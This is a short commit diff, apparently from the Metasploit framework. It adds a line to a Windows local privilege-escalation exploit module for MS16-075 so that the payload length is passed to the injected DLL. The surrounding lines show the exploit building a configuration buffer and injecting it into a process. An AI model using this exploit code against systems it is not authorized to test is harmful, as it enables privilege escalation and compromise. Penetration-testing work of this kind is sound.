feat: pass payload length to the dll

2019-01-11 16:28:49 +01:00 · 2019-01-11 16:28:49 +01:00 · dca99552e6
parent 944bda316e
commit dca99552e6
1 changed files with 1 additions and 0 deletions
--- a/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
+++ b/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
@ -169,6 +169,7 @@ class MetasploitModule < Msf::Exploit::Local
    configuration += "#{datastore['RPC_IP']}\x00"
    configuration += "#{datastore['RPC_PORT']}\x00"
    configuration += "#{datastore['DCOM_IP']}\x00"
+    configuration += "#{payload.encoded.length}\x00"
    configuration += payload.encoded
    payload_mem = inject_into_process(process, configuration)
    # invoke the exploit, passing in the address of the payload that